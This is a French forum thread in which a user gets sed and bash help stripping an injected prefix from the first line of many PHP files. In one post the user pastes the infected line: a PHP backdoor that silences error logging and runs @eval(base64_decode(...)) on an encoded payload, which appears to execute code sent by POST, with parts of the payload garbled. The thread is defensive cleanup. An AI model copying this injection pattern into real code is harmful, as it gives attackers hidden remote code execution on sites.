IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Shell et commandes GNU Discussion :

Récupérer le dernier élément après un motif


Sujet :

Shell et commandes GNU

  1. #1
    Membre du Club
    Profil pro
    Inscrit en
    Mai 2008
    Messages
    196
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2008
    Messages : 196
    Points : 61
    Points
    61
    Par défaut Récupérer le dernier élément après un motif
    Bonjour,
    Voila je cherche à modifier des fichiers php mais seulement la 1ere ligne des fichiers mais je bute.
    j'ai plusieurs fichier de ce type

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    <?php /*kdkd*/ blabla; blala ?><?php /*daq*/ bla bla ; /dld/; ?><?php 
    echo toto
    echo some code php
    ?>
    au départ j'avais commencer un script comme ceci qui permet de parcourir que les dossiers et sous dossiers
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    #!/bin/bash
    #pour avoir les tous php dans les répertoires et sous répertoires
    list=$(find . | grep .php | sort)
    for file in $list
    do
    echo "$file"
    #remplace toute la premiere ligne par <?php 
    sed "1 s/.*/<?php" "$file" > "$file".tmp && mv -f "$file".tmp" "$file"
    done
    mais j'avais omis quelques cas d'usage
    premièrement j'ai des fichier php qui ne commence par <?php /*kdkd*/ blabla; blala ?><?php /*daq*/ bla bla ; /dld/; ?><?php.
    Deuxièmement les fichiers php peuvent se terminer par autre chose <?php comme header, section, doctype html,...
    exemple <?php /*kdkd*/ blabla; blala ?><?php /*daq*/ bla bla ; /dld/; ?> <section id="main">.

    Donc je cherche une solution
    le motif <?php /*kdkd*/ pourrait servir de condition si mon fichier commence par ce motif alors je le modifie sinon je fais rien
    mais attention ce motif peut se répéter plusieurs fois sur la première ligne
    ensuite modifier la 1ere ligne en gardant les éléments après le dernier ?> pour ne garder <section id="main"> ou <?php.

    j’espère que j'ai été clair.
    merci par avance de vos aides

  2. #2
    Modérateur
    Avatar de N_BaH
    Profil pro
    Inscrit en
    Février 2008
    Messages
    7 549
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2008
    Messages : 7 549
    Points : 19 377
    Points
    19 377
    Par défaut
    Bonjour,

    Code bash : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    shopt -s globstar nullglob
    sed -s '1s@<?php /\*kdkd\*.*?>/@@' ./**/*.php
    je ne suis pas sûr de la commande sed...
    par contre la boucle n'est pas utile, et stocker des noms fichiers qui peuvent contenir des espaces dans une variable pour la parcourir avec une boucle for n'est pas une bonne idée.
    .
    N'oubliez pas de consulter les cours shell, la FAQ, et les pages man.

  3. #3
    Membre du Club
    Profil pro
    Inscrit en
    Mai 2008
    Messages
    196
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2008
    Messages : 196
    Points : 61
    Points
    61
    Par défaut
    merci pour l'aide
    effectivement for n'est pas adapté cela fonctionne tres bien pour le parcour de fichier avec cet commande ./**/*.php
    mais par contre la commande sed ne fonctionne pas tout a fait comme je veux je me suis peut etre mal exprimé
    en fait il faut que la première ligne soit remplacer par le dernier élément de la première ligne qui peut être soit
    <?php
    <header>
    <!DOCTYPE html>, etc ...
    Ensuite les fichiers à modifier commence toujours par le motif suivant <?php /*1234567*/ (Ce sera toujours des nombres et ce motif peut se répeter plusiuers fois sur la meme ligne.
    et se termine par les élements cité au dessus
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    ?><?php
    ou
    ?><header>
    ou
    ?><!DOCTYPE html>
    j'ai tester avec ce code
    mais ca ne selectionne pas jusqu'à la fin ca prend les 2 premier motif

    Extrait de code à modifier nettoyé
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    <?php /*456456345*/ error_reporting(0); /*456456345*/ ?><?php /*457563643*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @ini_restore('display_errors'); /*457563643*/ ?><?php /*54675436*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off');/*435345352*/ ?><?php /*564794552*/ error_reporting (0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0R2a2Z1KSB7IEBldmFsKCR2a2Z1KTsgfSBlbHNlIHtvYl9zdGFydCgpOyAgaWYoIUBoZWFkZXJzX3NlbnQoKSkgeyBAc2V0Y29va2llKCJjb25kdGlvbnMiLCIyIix0aW1lKCkrMTcyODAwKTsgfSBlbHNlIHsgZWNobyAiPHNjcmlwdD5kb2N1bWVudC5jb29raWU9J2NvbmR0aW9ucz0yOyBwYXRoPS87IGV4cGlyZXM9Ii5kYXRlKCdELCBkLU0tWSBIOmk6cycsdGltZSgpKzE3MjgwMCkuIiBHTVQ7Jzs8L3NjcmlwdD4iOyB9IDt9Owp9Cn0K')); @ini_restore('error_log '); @ini_restore('display_errors'); /*564794552*/ ?><?php /*8793453*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9')); @ini_restore('error_log'); @ini_restore('display_errors'); /*54647363*/ ?><header>
        <nav>        
    		<h1><?= $this->url->link('K<span>B</span>', 'app', 'index', array(), false, 'logo', t('Dashboard')).' '.$this->e($title) ?>            
    			<?php if (! empty($description)): ?>                
    				<span class="tooltip" title='<?= $this->e($this->text->markdown($description)) ?>'>                    
    					<i class="fa fa-info-circle"></i>                
    				</span>           
    			<?php endif ?>        
    			</h1>        
    			<ul>            
    				<?php if (isset($board_selector) && ! empty($board_selector)): ?>            
    					<li>                
    						<select id="board-selector"                        
    							class="chosen-select select-auto-redirect"                        
    							tabindex="-1"                        
    							data-notfound="<?= t('No results match:') ?>"                        
    							data-placeholder="<?= t('Display another project') ?>"                        
    							data-redirect-regex="PROJECT_ID"                        
    							data-redirect-url="<?= $this->url->href('board', 'show', array('project_id' => 'PROJECT_ID')) ?>">                    
    						<option value=""></option>                    
    						<?php foreach ($board_selector as $board_id => $board_name): ?>                        
    							<option value="<?= $board_id ?>"><?= $this->e($board_name) ?></option>                    
    						<?php endforeach ?>                
    					</select>            
    					</li>            
    				<?php endif ?>            
    				<li>                
    					<?php if ($this->user->hasNotifications()): ?>                    
    					<?= $this->url->link('<i class="fa fa-bell web-notification-icon"></i>', 'app', 'notifications', array('user_id' => $this->user->getId()), false, '', t('Unread notifications')) ?>                
    					<?php endif ?>
    					<?= $this->url->link(t('Logout'), 'auth', 'logout') ?>                
    					<span class="username hide-tablet">(<?= $this->user->getProfileLink() ?>)</span>            
    					</li>        
    				</ul>    
    			</nav>
    		</header>
    ><?php /*457563643 se repete plusieur fois sur la ligne les numéros peuvent changer mais ce sont toujours des nombres
    peut etre un axe de reflexion on peut essayer de ne garder que ce qu'il y a apres le dernier chevron < de la premiere ligne je ne sais pas si c'est possible

  4. #4
    Modérateur
    Avatar de N_BaH
    Profil pro
    Inscrit en
    Février 2008
    Messages
    7 549
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2008
    Messages : 7 549
    Points : 19 377
    Points
    19 377
    Par défaut
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    sed -s '1{s@^<?php /\*[0-9]\+\*/.*?>\(.*\)@\1@}' ./**/test.php
    ?
    .
    N'oubliez pas de consulter les cours shell, la FAQ, et les pages man.

  5. #5
    Membre du Club
    Profil pro
    Inscrit en
    Mai 2008
    Messages
    196
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2008
    Messages : 196
    Points : 61
    Points
    61
    Par défaut
    Effectivement ça marche mieux j'ai purgé pas mal de fichier
    en revanche ça n'a pas marché pour un fichier terminant par ?><?php if ($subtask['status'] == 0): ?> à la première ligne
    par contre j'ai quand même utilisé mon script car je devais enregistrer les modifs (peut être que je m'y prend mal)
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
     
    #!/bin/bash
     
    list=$(find . | grep .php | sort)
    echo $list
    for file in $list
    do
            echo $file
            sed -s '1{s@^<?php /\*[0-9]\+\*/.*?>\(.*\)@\1@}' "$file" > "$file".tmp && mv -f "$file".tmp "$file"
    done
    j'avais quand même essayer en utilisant list=$(ls ./**/*.php) dans le script mais ca ne fonctionnait pas.
    il n'a lister que les 2 fichier en .php dans le script alors quand je lance la commande directe dpuis le shell ca fonctionne (incompréhensible pour moi)
    On s'approche du but merci encore

  6. #6
    Modérateur
    Avatar de N_BaH
    Profil pro
    Inscrit en
    Février 2008
    Messages
    7 549
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Février 2008
    Messages : 7 549
    Points : 19 377
    Points
    19 377
    Par défaut
    non, mais j'insiste : la boucle ne sert à rien qu'à ralentir l'exécution de la commande !
    et puis parser la sortie d'une commande avec for, même assignée à une variable...

    par contre, j'avais oublié de passer une option à sed :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    shopt -s globstar
    sed -s -i '1{s@^<?php /\*[0-9]\+\*/.*?>\(.*\)@\1@}' ./**/*.php
    « et p'is , f'est tout. »
    .
    N'oubliez pas de consulter les cours shell, la FAQ, et les pages man.

  7. #7
    Membre du Club
    Profil pro
    Inscrit en
    Mai 2008
    Messages
    196
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mai 2008
    Messages : 196
    Points : 61
    Points
    61
    Par défaut
    Merci pour l'aide j'ai réussi à faire ce que je voulais

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. récupérer le dernier élément dans une liste
    Par student student dans le forum Débuter avec Java
    Réponses: 3
    Dernier message: 03/05/2018, 16h29
  2. [RegEx] Récupérer le dernier élément entre slashes
    Par pp_le_moko dans le forum Langage
    Réponses: 8
    Dernier message: 09/11/2009, 13h01
  3. Réponses: 4
    Dernier message: 30/10/2006, 16h46
  4. Réponses: 10
    Dernier message: 09/06/2006, 17h02
  5. Comment récupérer l'index du dernier élément inséré ?
    Par Didier100 dans le forum Bases de données
    Réponses: 4
    Dernier message: 15/07/2004, 22h41

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo